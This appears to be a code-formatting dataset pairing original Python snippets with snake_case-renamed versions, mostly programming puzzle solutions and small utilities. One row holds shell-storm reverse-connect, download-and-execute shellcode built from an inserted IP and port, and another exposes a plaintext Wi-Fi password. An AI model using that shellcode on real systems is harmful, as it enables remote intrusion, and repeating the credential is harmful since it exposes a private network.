content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
# https://www.hackerrank.com/challenges/birthday-cake-candles/problem
def birthdayCakeCandles(ar):
cur_max, count = 0, 0
for n in ar:
if n > cur_max:
cur_max = n
count = 1
elif n == cur_max:
count += 1
return count
if __name__ == '__main__':
vals =... | def birthday_cake_candles(ar):
(cur_max, count) = (0, 0)
for n in ar:
if n > cur_max:
cur_max = n
count = 1
elif n == cur_max:
count += 1
return count
if __name__ == '__main__':
vals = [3, 2, 1, 3]
assert birthday_cake_candles(vals) == 2 |
# -*- coding: utf-8 -*-
__author__ = "yansongda <me@yansongda.cn>"
__version__ = "0.6.0"
| __author__ = 'yansongda <me@yansongda.cn>'
__version__ = '0.6.0' |
BITCOIN_API_BASE_URL = 'https://blockstream.info/api/'
LIQUID_API_BASE_URL = 'https://blockstream.info/liquid/api/'
BITCOIN_TESTNET_API_BASE_URL = 'https://blockstream.info/testnet/api/'
DEFAULT_TIMEOUT = 5
CONTENT_TYPE_JSON = 'application/json'
CONTENT_TYPE_TEXT = 'text/plain'
P2PKH = 'P2PKH'
P2SH = 'P2SH'
BECH32 = ... | bitcoin_api_base_url = 'https://blockstream.info/api/'
liquid_api_base_url = 'https://blockstream.info/liquid/api/'
bitcoin_testnet_api_base_url = 'https://blockstream.info/testnet/api/'
default_timeout = 5
content_type_json = 'application/json'
content_type_text = 'text/plain'
p2_pkh = 'P2PKH'
p2_sh = 'P2SH'
bech32 = ... |
# Create comparative statements as appropriate on the lines below!
# Make me true!
bool_one = 3 < 5 # We already did this one for you!
# Make me false!
bool_two = 3>= 6
# Make me true!
bool_three = 2!= 3
# Make me false!
bool_four = 43 <=40
# Make me true!
bool_five = 90> 2
| bool_one = 3 < 5
bool_two = 3 >= 6
bool_three = 2 != 3
bool_four = 43 <= 40
bool_five = 90 > 2 |
__all__ = [
'q1_swap_case',
'q2_python_string_split_and_join',
'q3_whats_your_name',
'q4_python_mutations',
'q5_find_a_string',
'q6_string_validators',
'q7_text_alignment',
'q8_text_wrap',
'q9_designer_door_mat',
'q10_python_string_formatting',
'q11_alphabet_rangoli',
'q1... | __all__ = ['q1_swap_case', 'q2_python_string_split_and_join', 'q3_whats_your_name', 'q4_python_mutations', 'q5_find_a_string', 'q6_string_validators', 'q7_text_alignment', 'q8_text_wrap', 'q9_designer_door_mat', 'q10_python_string_formatting', 'q11_alphabet_rangoli', 'q12_capitalize', 'q13_the_minion_game', 'q14_merge_... |
BBS_NESTED_VC_FULL_REVEAL_DOCUMENT_MATTR = {
"@context": [
"https://www.w3.org/2018/credentials/v1",
"https://www.w3.org/2018/credentials/examples/v1",
"https://w3id.org/security/bbs/v1",
],
"type": ["VerifiableCredential", "UniversityDegreeCredential"],
}
| bbs_nested_vc_full_reveal_document_mattr = {'@context': ['https://www.w3.org/2018/credentials/v1', 'https://www.w3.org/2018/credentials/examples/v1', 'https://w3id.org/security/bbs/v1'], 'type': ['VerifiableCredential', 'UniversityDegreeCredential']} |
class Solution(object):
def canJump(self, nums):
if not nums: return False
first = nums[0]
if first == 0 and len(nums) == 1:return True
for x in xrange(first, 0, -1):
if x >= len(nums):
return True
ans = self.canJump(nums[x:])
if an... | class Solution(object):
def can_jump(self, nums):
if not nums:
return False
first = nums[0]
if first == 0 and len(nums) == 1:
return True
for x in xrange(first, 0, -1):
if x >= len(nums):
return True
ans = self.canJump(... |
student_tuples = [
['john', 'A', 15,1],
['jane', 'B', 12,8],
['dave', 'B', 10,4],
]
result = sorted(student_tuples, key=lambda a: a[3])
print(result)
| student_tuples = [['john', 'A', 15, 1], ['jane', 'B', 12, 8], ['dave', 'B', 10, 4]]
result = sorted(student_tuples, key=lambda a: a[3])
print(result) |
student={102,"pooja","mango",1233,407 }
teacher=(102,103,104,105)
# print(type(student))
# print(student)
# student.add(103)
# print(student)
# student.remove(103)
# print(student)
| student = {102, 'pooja', 'mango', 1233, 407}
teacher = (102, 103, 104, 105) |
def convert_to_dict(obj):
key = ''
for i in obj.keys():
if '_sa_instance_state' in i:
key = i
obj.pop(key)
return obj
| def convert_to_dict(obj):
key = ''
for i in obj.keys():
if '_sa_instance_state' in i:
key = i
obj.pop(key)
return obj |
# https://leetcode.com/problems/k-th-symbol-in-grammar
class Solution:
def kthGrammar(self, N, K):
if N == 1:
return 0
half = 2 ** (N - 2)
if K <= half:
return self.kthGrammar(N - 1, K)
else:
res = self.kthGrammar(N - 1, K - half)
if re... | class Solution:
def kth_grammar(self, N, K):
if N == 1:
return 0
half = 2 ** (N - 2)
if K <= half:
return self.kthGrammar(N - 1, K)
else:
res = self.kthGrammar(N - 1, K - half)
if res == 0:
return 1
else:
... |
request = {
'labelIds': ['INBOX'],
'topicName': 'projects/nw-msds498-ark-etf-analytics/topics/ark_trades'
}
gmail.users().watch(userId='me', body=request).execute()
| request = {'labelIds': ['INBOX'], 'topicName': 'projects/nw-msds498-ark-etf-analytics/topics/ark_trades'}
gmail.users().watch(userId='me', body=request).execute() |
class Solution:
def createTargetArray(self, nums: List[int], index: List[int]) -> List[int]:
output = []
for i in range(len(index)):
val = index[i]
output.insert(val, nums[i])
return output
| class Solution:
def create_target_array(self, nums: List[int], index: List[int]) -> List[int]:
output = []
for i in range(len(index)):
val = index[i]
output.insert(val, nums[i])
return output |
#http://shell-storm.org/shellcode/files/shellcode-167.php
#; sm4x - 2008
#; reverse connect dl(shellcode) and execute, exit
#; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ;)
#; - feed it with a $nc -vvl -p8000 <shellcode_in_file
#; setuid(0); socket(); connect(); dups(); recv... | def reverse_tcp(ip, port):
shellcode = '\\x31\\xc0\\x50\\x50\\xb0\\x17\\x50\\xcd\\x80\\x50'
shellcode += '\\x6a\\x01\\x6a\\x02\\xb0\\x61\\x50\\xcd\\x80\\x89'
shellcode += '\\xc2\\x68'
shellcode += ip
shellcode += '\\x68'
shellcode += port
shellcode += '\\x89\\xe0\\x6a\\x10\\x50\\x52\\x31\\xc... |
class Employee:
increament = 1.5
employeePopulation = 0
# CONSTRUCTOR :
def __init__(self, name, job, age): # self is necessary !
self.name = name
self.job = job
self.age = age
self.increament = 2
Employee.employeePopulation +=1 # count no. of objects
d... | class Employee:
increament = 1.5
employee_population = 0
def __init__(self, name, job, age):
self.name = name
self.job = job
self.age = age
self.increament = 2
Employee.employeePopulation += 1
def increase(self):
self.age = self.age * self.increament
... |
class Distance:
ang_to_nm = 0.1
class Time:
fs_to_ps = 0.001
| class Distance:
ang_to_nm = 0.1
class Time:
fs_to_ps = 0.001 |
class Solution:
def longestCommonPrefix(self, strs: list[str]) -> str:
strs = sorted(strs, key=len)
if len(strs) == 0:
return ""
elif len(strs) == 1:
return strs[0]
else:
first_word = strs[0]
pos = 0
for char in first_word:
... | class Solution:
def longest_common_prefix(self, strs: list[str]) -> str:
strs = sorted(strs, key=len)
if len(strs) == 0:
return ''
elif len(strs) == 1:
return strs[0]
else:
first_word = strs[0]
pos = 0
for char in first_wor... |
# Databricks notebook source
VERLXLQQHOBJFQOBZBDFGRBU
# COMMAND ----------
RPXOHWNJSBMEZUSFZHGVKNQCEVLECCOHJTCXCB
# COMMAND ----------
XKDSEKTJTPQINVZ
SDEQSZBRYWWURUNDOOYXVFFLNWZPOCWYOOFHD
NRIRVCCNJGFJHVBHEWKIYYECMSDUCYTJSFHAN
KELFSXUYXHYTTIRFEZXBRXSZZODWVKHHDEHUC
XDLEDNJUYDDJGDPGYTCIGFCVWLTYXR
XBYVDGBHETDYQWHGIGDS... | VERLXLQQHOBJFQOBZBDFGRBU
RPXOHWNJSBMEZUSFZHGVKNQCEVLECCOHJTCXCB
XKDSEKTJTPQINVZ
SDEQSZBRYWWURUNDOOYXVFFLNWZPOCWYOOFHD
NRIRVCCNJGFJHVBHEWKIYYECMSDUCYTJSFHAN
KELFSXUYXHYTTIRFEZXBRXSZZODWVKHHDEHUC
XDLEDNJUYDDJGDPGYTCIGFCVWLTYXR
XBYVDGBHETDYQWHGIGDSGFXEHZQQRGJKMXHPYBBPPSIQY
MZKLOKKYXXHWOPLTJEVRYXUSSSGCVQJQDOFWZJJNLLXI
EVLF... |
'''
Curvature, circumradius, and circumcenter functions
written by Hunter Ratliff on 2019-02-03
'''
def curvature(x_data,y_data):
'''
Calculates curvature for all interior points
on a curve whose coordinates are provided
Input:
- x_data: list of n x-coordinates
- y_data: list of n y-c... | """
Curvature, circumradius, and circumcenter functions
written by Hunter Ratliff on 2019-02-03
"""
def curvature(x_data, y_data):
"""
Calculates curvature for all interior points
on a curve whose coordinates are provided
Input:
- x_data: list of n x-coordinates
- y_data: list of n y-... |
myl1 = []
myl1.append('P')
myl1.append('Y')
myl1.append('T')
myl1.append('H')
myl1.append('O')
myl1.append('N')
print(myl1)
| myl1 = []
myl1.append('P')
myl1.append('Y')
myl1.append('T')
myl1.append('H')
myl1.append('O')
myl1.append('N')
print(myl1) |
class Dog:
def __init__(self, name='chuchu',id=0):
self.name = name
self.id=id
def set_producer(self, producer):
self.producer = producer
| class Dog:
def __init__(self, name='chuchu', id=0):
self.name = name
self.id = id
def set_producer(self, producer):
self.producer = producer |
# Test body for valid endpoint
url = '/who/articles'
# Empty body => malformed request
def test_empty(client):
response = client.put(url)
assert response.status_code == 400
assert response.is_json
json = response.get_json()
assert 'message' in json
assert json['message'] == 'Input payload validation failed'
# ... | url = '/who/articles'
def test_empty(client):
response = client.put(url)
assert response.status_code == 400
assert response.is_json
json = response.get_json()
assert 'message' in json
assert json['message'] == 'Input payload validation failed'
def test_bad_format(client):
response = client... |
#Author: ahmelq - github.com/ahmedelq/
#License: MIT
#This is a solution of the challange: https://www.codewars.com/kata/encrypt-this/python
def encrypt_this(text):
text = text.split()
res = []
for word in text:
n = len(word)
f = ord(word[0])
if n == 1:
res.append(str(f... | def encrypt_this(text):
text = text.split()
res = []
for word in text:
n = len(word)
f = ord(word[0])
if n == 1:
res.append(str(f))
elif n == 2:
res.append('{}{}'.format(f, word[1]))
else:
s = word[1:2 - n]
m = word[2 - ... |
# initialize data to be stored in files, pickles, shelves
# records
bob = {'name': 'Bob Smith', 'age': 42, 'pay': 30000, 'job': 'dev'}
sue = {'name': 'Sue Jones', 'age': 45, 'pay': 40000, 'job': 'hdw'}
tom = {'name': 'Tom', 'age': 50, 'pay': 0, 'job': None}
# database
db = {}
db['bob'] = bob
db['sue'] = sue... | bob = {'name': 'Bob Smith', 'age': 42, 'pay': 30000, 'job': 'dev'}
sue = {'name': 'Sue Jones', 'age': 45, 'pay': 40000, 'job': 'hdw'}
tom = {'name': 'Tom', 'age': 50, 'pay': 0, 'job': None}
db = {}
db['bob'] = bob
db['sue'] = sue
db['tom'] = tom
if __name__ == '__main__':
for key in db:
print(key, '=>\n ',... |
class Writer:
pass
class StringWriter(Writer):
def __init__(self):
self.out = []
def write(self, content):
self.out.append(content)
def finalize(self):
return '\n'.join(self.out) + '\n'
class FileWriter(Writer):
def __init__(self, file):
self.out = file
d... | class Writer:
pass
class Stringwriter(Writer):
def __init__(self):
self.out = []
def write(self, content):
self.out.append(content)
def finalize(self):
return '\n'.join(self.out) + '\n'
class Filewriter(Writer):
def __init__(self, file):
self.out = file
def... |
def platform_config():
native.config_setting(
name = "windows",
constraint_values = ["@bazel_tools//platforms:windows"],
visibility = ["//visibility:public"]
)
package_copt = select({":windows" : ["/std:c++17"],
"//conditions:default" : ["-std=c++17"],}) | def platform_config():
native.config_setting(name='windows', constraint_values=['@bazel_tools//platforms:windows'], visibility=['//visibility:public'])
package_copt = select({':windows': ['/std:c++17'], '//conditions:default': ['-std=c++17']}) |
def test_class(settings_class):
assert hasattr(settings_class, "APP_NAME")
assert not hasattr(settings_class, "WEBSITE_HOST")
def test_load(settings_class):
assert hasattr(settings_class(), "WEBSITE_HOST")
def test_reload(settings):
app_name = settings.APP_NAME
assert settings.WEBSITE_HOST != "c... | def test_class(settings_class):
assert hasattr(settings_class, 'APP_NAME')
assert not hasattr(settings_class, 'WEBSITE_HOST')
def test_load(settings_class):
assert hasattr(settings_class(), 'WEBSITE_HOST')
def test_reload(settings):
app_name = settings.APP_NAME
assert settings.WEBSITE_HOST != 'cha... |
n,q = map(int,input().split())
l = list(map(int,input().split()))
zero = l.count(0)
one = n-zero
for _ in range(q):
t,x = map(int,input().split())
if t == 1:
if l[x-1] == 1:
zero += 1
one -= 1
l[x-1] = 0
else:
zero -= 1
one += 1
... | (n, q) = map(int, input().split())
l = list(map(int, input().split()))
zero = l.count(0)
one = n - zero
for _ in range(q):
(t, x) = map(int, input().split())
if t == 1:
if l[x - 1] == 1:
zero += 1
one -= 1
l[x - 1] = 0
else:
zero -= 1
o... |
my_file = open('xmen.txt', 'w+')
my_file.write('Beast\n')
my_file.writelines(["east\n", 'west\n', 'south\n'])
my_file.close()
my_file = open('xmen.txt', 'r')
print(my_file.read())
print('reading again')
print(my_file.read()) #empty because cursor is at end
my_file.seek(0) #move curstor to start
my_file.close()
#... | my_file = open('xmen.txt', 'w+')
my_file.write('Beast\n')
my_file.writelines(['east\n', 'west\n', 'south\n'])
my_file.close()
my_file = open('xmen.txt', 'r')
print(my_file.read())
print('reading again')
print(my_file.read())
my_file.seek(0)
my_file.close()
with open('ymen.txt', 'w+') as my_file:
my_file.write('Beas... |
def gcd(a, b):
if b > a:
tmp = a
a = b
b = tmp
if a == b:
return a
if a % b == 0:
return b
return gcd(b, a % b)
t = int(input())
for _ in range(t):
a, b = map(int, input().split())
print(a * b // gcd(a, b))
| def gcd(a, b):
if b > a:
tmp = a
a = b
b = tmp
if a == b:
return a
if a % b == 0:
return b
return gcd(b, a % b)
t = int(input())
for _ in range(t):
(a, b) = map(int, input().split())
print(a * b // gcd(a, b)) |
# TODO: Implement features for each MCU
class NodeMCU_Amica:
'''
A Microcontroller management class for the Amica NodeMCU
'''
class Led1:
'''
Built-in led 1
'''
def __init__(self):
self._led = Pin(2, Pin.OUT)
def on(self):
self._led.valu... | class Nodemcu_Amica:
"""
A Microcontroller management class for the Amica NodeMCU
"""
class Led1:
"""
Built-in led 1
"""
def __init__(self):
self._led = pin(2, Pin.OUT)
def on(self):
self._led.value(0)
def off(self):
... |
def init():
global rooms_json
#Example Map
#Store the rooms
rooms_json = [
{'name':'Hall.1', 'entrance':'', 'type':'hall', 'conectedTo': {'U':'Hall.2', 'D':'outBuilding'}, 'measures': {'dx':3, 'dy':2}},
{'name':'Hall.2', 'type':'hall', 'conectedTo': {'U':'Hall.3', 'R':'Lab1.1'}, 'measures': {'... | def init():
global rooms_json
rooms_json = [{'name': 'Hall.1', 'entrance': '', 'type': 'hall', 'conectedTo': {'U': 'Hall.2', 'D': 'outBuilding'}, 'measures': {'dx': 3, 'dy': 2}}, {'name': 'Hall.2', 'type': 'hall', 'conectedTo': {'U': 'Hall.3', 'R': 'Lab1.1'}, 'measures': {'dx': 3, 'dy': 2.5}}, {'name': 'Hall.3'... |
f = open("input.txt", "r")
inStr = f.read()
tally = 0
total = 0
for c in inStr:
total += 1
if c == "(":
tally += 1
elif c == ")":
tally -= 1
if tally == -1:
print(total)
print(tally)
| f = open('input.txt', 'r')
in_str = f.read()
tally = 0
total = 0
for c in inStr:
total += 1
if c == '(':
tally += 1
elif c == ')':
tally -= 1
if tally == -1:
print(total)
print(tally) |
def custom_1(h):
return {'key3': sum(h.values())}
def dict_merge(x, y, recursive=False):
if recursive:
z = dict(list(x.items()) + list(y.items()))
else:
z = x.copy()
z.update(y)
return z
def dict_keys(d):
return list(d)
class FilterModule(object):
def filters(self):
... | def custom_1(h):
return {'key3': sum(h.values())}
def dict_merge(x, y, recursive=False):
if recursive:
z = dict(list(x.items()) + list(y.items()))
else:
z = x.copy()
z.update(y)
return z
def dict_keys(d):
return list(d)
class Filtermodule(object):
def filters(self):
... |
DEBUG = False
DATABASE_USER = 'CHANGME'
DATABASE_NAME = 'CHANGME'
DATABASE_PASS = 'CHANGME'
SECRET_KEY = 'CHANGE ME'
THUNDERFOREST_API_KEY = 'yourAPIKey'
OPENATLAS_URL = 'https://thanados.openatlas.eu/update/'
API_URL = 'https://thanados.openatlas.eu/api/0.2/entity/'
GEONAMES_USERNAME = 'yourgeonamesusername'
HIERARCH... | debug = False
database_user = 'CHANGME'
database_name = 'CHANGME'
database_pass = 'CHANGME'
secret_key = 'CHANGE ME'
thunderforest_api_key = 'yourAPIKey'
openatlas_url = 'https://thanados.openatlas.eu/update/'
api_url = 'https://thanados.openatlas.eu/api/0.2/entity/'
geonames_username = 'yourgeonamesusername'
hierarchy... |
class Node:
def __init__(self,data):
self.data = data;
self.next = None;
class CreateList:
def __init__(self):
self.head = Node(None);
self.tail = Node(None);
self.head.next = self.tail;
self.tail.next = self.head;
def add(self... | class Node:
def __init__(self, data):
self.data = data
self.next = None
class Createlist:
def __init__(self):
self.head = node(None)
self.tail = node(None)
self.head.next = self.tail
self.tail.next = self.head
def add(self, data):
new_node = node(d... |
TABLE_CELL_STYLE = {
"fontFamily": "Arial",
"textAlign": "center",
"backgroundColor": "#f7f7f7",
}
TABLE_CONDITIONAL_STYLE = [
{
"if": {"row_index": "odd"},
"backgroundColor": "#efefef",
}
]
TABLE_HEADER_STYLE = {
"backgroundColor": "#e2e2e2",
"fontWeight": "bold",
}
| table_cell_style = {'fontFamily': 'Arial', 'textAlign': 'center', 'backgroundColor': '#f7f7f7'}
table_conditional_style = [{'if': {'row_index': 'odd'}, 'backgroundColor': '#efefef'}]
table_header_style = {'backgroundColor': '#e2e2e2', 'fontWeight': 'bold'} |
def suma_divisores( n ):
suma = 0
for i in range( 1 , round( n / 2 ) + 1 ):
if n % i == 0:
suma += i
return(suma)
def amigos( n ):
a = suma_divisores( n )
b = suma_divisores( a )
if n != a and n == b:
return( n , a )
else:
return(0)
total = 0
for i in range(10000):
x = amigos(i)
if x != 0:
total +... | def suma_divisores(n):
suma = 0
for i in range(1, round(n / 2) + 1):
if n % i == 0:
suma += i
return suma
def amigos(n):
a = suma_divisores(n)
b = suma_divisores(a)
if n != a and n == b:
return (n, a)
else:
return 0
total = 0
for i in range(10000):
x ... |
#Write a program that asks the user for a number n and prints the sum of the numbers 1 to n
start=1
print("Please input your number")
end=input()
sum=0
while end.isdigit()==False:
print("Your input is not a valid number, please try again")
end=input()
for i in range(start,int(end)+1):
sum=sum+i
print("Sum f... | start = 1
print('Please input your number')
end = input()
sum = 0
while end.isdigit() == False:
print('Your input is not a valid number, please try again')
end = input()
for i in range(start, int(end) + 1):
sum = sum + i
print('Sum from 1 to {} is {}'.format(end, sum)) |
BotToken = ''
DiscordListen = []
DiscordForward = []
QQListen = []
QQForward = []
| bot_token = ''
discord_listen = []
discord_forward = []
qq_listen = []
qq_forward = [] |
def is_peak(arr, index):
if index == 0:
return arr[0] > arr[1]
if index == len(arr) - 1:
return arr[-1] > arr[-2]
return arr[index] > arr[index - 1] and arr[index] > arr[index + 1]
def solve(arr):
if len(arr) == 1:
return 0
low = 0
high = len(arr)
while low <= h... | def is_peak(arr, index):
if index == 0:
return arr[0] > arr[1]
if index == len(arr) - 1:
return arr[-1] > arr[-2]
return arr[index] > arr[index - 1] and arr[index] > arr[index + 1]
def solve(arr):
if len(arr) == 1:
return 0
low = 0
high = len(arr)
while low <= high:
... |
''' Global and Local Variable Scopes
Variables defined inside a function body have a local scope.
Variables defined outside a function have a global scope.
Global variables can be accessed anywhere in your python file.
Localvariables can only be accesses inside the function it belongs to.
I can use the... | """ Global and Local Variable Scopes
Variables defined inside a function body have a local scope.
Variables defined outside a function have a global scope.
Global variables can be accessed anywhere in your python file.
Localvariables can only be accesses inside the function it belongs to.
I can use the... |
__author__ = 'Amin Ghasembeigi'
__description__ = 'A web scraper.'
__email__ = 'me@aminbeigi.com'
__license__ = "MIT"
__maintainer__ = 'Amin Ghasembeigi'
__status__ = 'Development'
__title__ = 'unswclassutil'
__website__ = 'https://github.com/aminbeigi/unsw-classutil-scraper'
__version__ = '0.0.1'
# make metadata publ... | __author__ = 'Amin Ghasembeigi'
__description__ = 'A web scraper.'
__email__ = 'me@aminbeigi.com'
__license__ = 'MIT'
__maintainer__ = 'Amin Ghasembeigi'
__status__ = 'Development'
__title__ = 'unswclassutil'
__website__ = 'https://github.com/aminbeigi/unsw-classutil-scraper'
__version__ = '0.0.1'
__all__ = ['__author_... |
"kubedog_lint_test rule"
load("@bazel_skylib//lib:collections.bzl", "collections")
_DOC = "Defines a kubedog lint execution."
_ATTRS = {
"resources_spec": attr.label(
doc = "Resources spec file. Format: https://github.com/werf/kubedog/blob/main/doc/usage.md#multitracker-cli",
allow_single_file = ... | """kubedog_lint_test rule"""
load('@bazel_skylib//lib:collections.bzl', 'collections')
_doc = 'Defines a kubedog lint execution.'
_attrs = {'resources_spec': attr.label(doc='Resources spec file. Format: https://github.com/werf/kubedog/blob/main/doc/usage.md#multitracker-cli', allow_single_file=['.json'], mandatory=True... |
#lists can be modifed []
list = ['One' , 'Two' , 'Three' , 'Four' , 'Five' , 'Six' , 'Seven' , 'Eight' , 'Nine' , 'Ten']
print(list)
print(list[0])
print(list[-1])
print()
#access
print(list[1:])
print(list[-2:])
print(list[2:5])
print()
#change
list[1] = "2"
print(list)
| list = ['One', 'Two', 'Three', 'Four', 'Five', 'Six', 'Seven', 'Eight', 'Nine', 'Ten']
print(list)
print(list[0])
print(list[-1])
print()
print(list[1:])
print(list[-2:])
print(list[2:5])
print()
list[1] = '2'
print(list) |
#
# PySNMP MIB module HUAWEI-SMARTLINK-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HUAWEI-SMARTLINK-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 19:36:49 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (defau... | (object_identifier, integer, octet_string) = mibBuilder.importSymbols('ASN1', 'ObjectIdentifier', 'Integer', 'OctetString')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(value_size_constraint, constraints_intersection, value_range_constraint, single_value_constraint, constraints_union) ... |
# -*- coding: utf-8 -*-
class Solution(object):
def readBinaryWatch(self, num):
result = []
for h in range(12):
for m in range(60):
if (bin(h) + bin(m)).count('1') == num:
result.append('%d:%02d' % (h, m))
return result
print(Solution().readB... | class Solution(object):
def read_binary_watch(self, num):
result = []
for h in range(12):
for m in range(60):
if (bin(h) + bin(m)).count('1') == num:
result.append('%d:%02d' % (h, m))
return result
print(solution().readBinaryWatch(2)) |
# (* ::Package:: *)
#
#
#
#
# BeginPackage["TriaxialPreliminariesv02`", {"StatisticalEstimatorsv01`","Posteriorv03`"}];
#
#
# Hubble\[CapitalLambda]::usage = "...";
# Dist\[CapitalLambda]::usage = "...";
# Dist\[CapitalLambda]Flat::usage = "...";
# Dist\[CapitalLambda]Close::usage = "...";
# Dist\[CapitalLambda]Open::u... | sub_mks = {'s': 1, 'day': 24 * 60 * 60, 'year': 365.25 * 24 * 60 * 60, 'g': 10 ** (-3), 'gr': 10 ** (-3), 'cm': 10 ** (-2), 'km': 10 ** 3, 'pc': 3.08567802 * 10 ** 16, 'AU': 1.49597870696 * 10 ** 11, 'G': 6.673 * 10 ** (-11), 'c': 299792458, 'kB': 1.3806503 * 10 ** (-23), 'TCMB': 2.728, 'me': 9.1093897 * 10 ** (-31), '... |
'''
https://leetcode.com/contest/weekly-contest-185/problems/build-array-where-you-can-find-the-maximum-exactly-k-comparisons/
'''
class Solution:
def numOfArrays(self, n: int, m: int, k: int) -> int:
mod = 10**9 + 7
sols = dict()
def sol(i, m, k, maxm):
if i == n:
... | """
https://leetcode.com/contest/weekly-contest-185/problems/build-array-where-you-can-find-the-maximum-exactly-k-comparisons/
"""
class Solution:
def num_of_arrays(self, n: int, m: int, k: int) -> int:
mod = 10 ** 9 + 7
sols = dict()
def sol(i, m, k, maxm):
if i == n:
... |
#
# PySNMP MIB module Baytech-MIB-403-1 (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Baytech-MIB-403-1
# Produced by pysmi-0.3.4 at Wed May 1 11:42:46 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Ma... | (octet_string, integer, object_identifier) = mibBuilder.importSymbols('ASN1', 'OctetString', 'Integer', 'ObjectIdentifier')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(constraints_union, value_size_constraint, single_value_constraint, constraints_intersection, value_range_constraint) ... |
class Solution:
def lengthOfLIS(self, nums: List[int]) -> int:
if not nums:
return 0
dp = [1] * len(nums)
for i in range(len(nums)):
for j in range(i):
if nums[j] < nums[i]:
dp[i] = max(dp[i], dp[j] + 1)
return max(dp)
#... | class Solution:
def length_of_lis(self, nums: List[int]) -> int:
if not nums:
return 0
dp = [1] * len(nums)
for i in range(len(nums)):
for j in range(i):
if nums[j] < nums[i]:
dp[i] = max(dp[i], dp[j] + 1)
return max(dp) |
class Repository:
def __init__(self,application):
self.application = application
| class Repository:
def __init__(self, application):
self.application = application |
class summ:
def summation(self,a,b):
return a+b;
class multi:
def multiplication(self,a,b):
return a*b;
class divide(summ,multi):#multiple base class inheritance
def derived(self,a,b):
return a/b;
d = divide()
print(d.summation(10,5))
print(d.multiplication(10,5))
print(d... | class Summ:
def summation(self, a, b):
return a + b
class Multi:
def multiplication(self, a, b):
return a * b
class Divide(summ, multi):
def derived(self, a, b):
return a / b
d = divide()
print(d.summation(10, 5))
print(d.multiplication(10, 5))
print(d.derived(10, 5)) |
'''
Created on 2020-04-22 11:34:59
Last modified on 2020-04-22 11:36:14
Python 2.7.16
v0.1
@author: L. F. Pereira (lfpereira@fe.up.pt)
Main goal
---------
Develop functions to get node and element information from odb files.
'''
#%% function definition
def get_nodes_given_set_names(odb, set_names):
'''
Get... | """
Created on 2020-04-22 11:34:59
Last modified on 2020-04-22 11:36:14
Python 2.7.16
v0.1
@author: L. F. Pereira (lfpereira@fe.up.pt)
Main goal
---------
Develop functions to get node and element information from odb files.
"""
def get_nodes_given_set_names(odb, set_names):
"""
Gets array with Abaqus nodes ... |
# pylint: disable=too-few-public-methods,simplifiable-if-expression,
# pylint: disable=too-many-arguments,too-many-instance-attributes
class MultiKeywordExtractConfig:
def __init__(
self,
multi_keyword_extract_config: dict,
deployment_env,
deployment_env_placeholder... | class Multikeywordextractconfig:
def __init__(self, multi_keyword_extract_config: dict, deployment_env, deployment_env_placeholder: str='{ENV}'):
updated_config = update_deployment_env_placeholder(multi_keyword_extract_config, deployment_env, deployment_env_placeholder) if deployment_env else multi_keyword... |
class Mathematics :
def __init__(self,a,n,d):
self.a=a;
self.n=int(n);
self.d=d;
def arith(self):
i=1;
while i<(self.n+1.0):
t=self.a+((i-1)*self.d);
if i!=self.n:
print(t,end=", ");
i=i+1;
else:
... | class Mathematics:
def __init__(self, a, n, d):
self.a = a
self.n = int(n)
self.d = d
def arith(self):
i = 1
while i < self.n + 1.0:
t = self.a + (i - 1) * self.d
if i != self.n:
print(t, end=', ')
i = i + 1
... |
MQTT_CONFIG = {
'SENSOR_ID': 'FAN',
'MQTT_HOST': '192.168.0.179',
'PORT': '1883',
'PUB_TOPIC': 'building/room/relay/fan',
}
WIFI_CONFIG = {
'WIFI_ESSID': 'skypee.exe',
'WIFI_PASSWORD': 'R2HoPWodVvbJ'
}
| mqtt_config = {'SENSOR_ID': 'FAN', 'MQTT_HOST': '192.168.0.179', 'PORT': '1883', 'PUB_TOPIC': 'building/room/relay/fan'}
wifi_config = {'WIFI_ESSID': 'skypee.exe', 'WIFI_PASSWORD': 'R2HoPWodVvbJ'} |
def get_attributes(keys_set):
if keys_set == "small":
cols = ["Young", "Male", "Smiling", "Wearing_Hat", "Blond_Hair"]
elif keys_set == "low_prev":
cols = ['Bald', 'Wearing_Hat', 'Gray_Hair', 'Eyeglasses', 'Pale_Skin',
'Mustache', 'Double_Chin', 'Chubby',
'Weari... | def get_attributes(keys_set):
if keys_set == 'small':
cols = ['Young', 'Male', 'Smiling', 'Wearing_Hat', 'Blond_Hair']
elif keys_set == 'low_prev':
cols = ['Bald', 'Wearing_Hat', 'Gray_Hair', 'Eyeglasses', 'Pale_Skin', 'Mustache', 'Double_Chin', 'Chubby', 'Wearing_Necktie', 'Goatee', 'Sideburns'... |
def mini_matriz(matriz, m):
lista = []
if m == 1:
for l in range(3):
for c in range(3):
lista.append(matriz[l][c])
return lista
elif m == 2:
for l in range(3):
for c in range(3,6):
lista.append(matriz[l][c])
return lista... | def mini_matriz(matriz, m):
lista = []
if m == 1:
for l in range(3):
for c in range(3):
lista.append(matriz[l][c])
return lista
elif m == 2:
for l in range(3):
for c in range(3, 6):
lista.append(matriz[l][c])
return list... |
def main(request, response):
headers = [(b"X-Request-Method", request.method),
(b"X-Request-Content-Length", request.headers.get(b"Content-Length", b"NO")),
(b"X-Request-Content-Type", request.headers.get(b"Content-Type", b"NO")),
(b"Access-Control-Allow-Credentials", b"... | def main(request, response):
headers = [(b'X-Request-Method', request.method), (b'X-Request-Content-Length', request.headers.get(b'Content-Length', b'NO')), (b'X-Request-Content-Type', request.headers.get(b'Content-Type', b'NO')), (b'Access-Control-Allow-Credentials', b'true'), (b'Content-Type', b'text/plain')]
... |
a = False
if a:
print('df')
| a = False
if a:
print('df') |
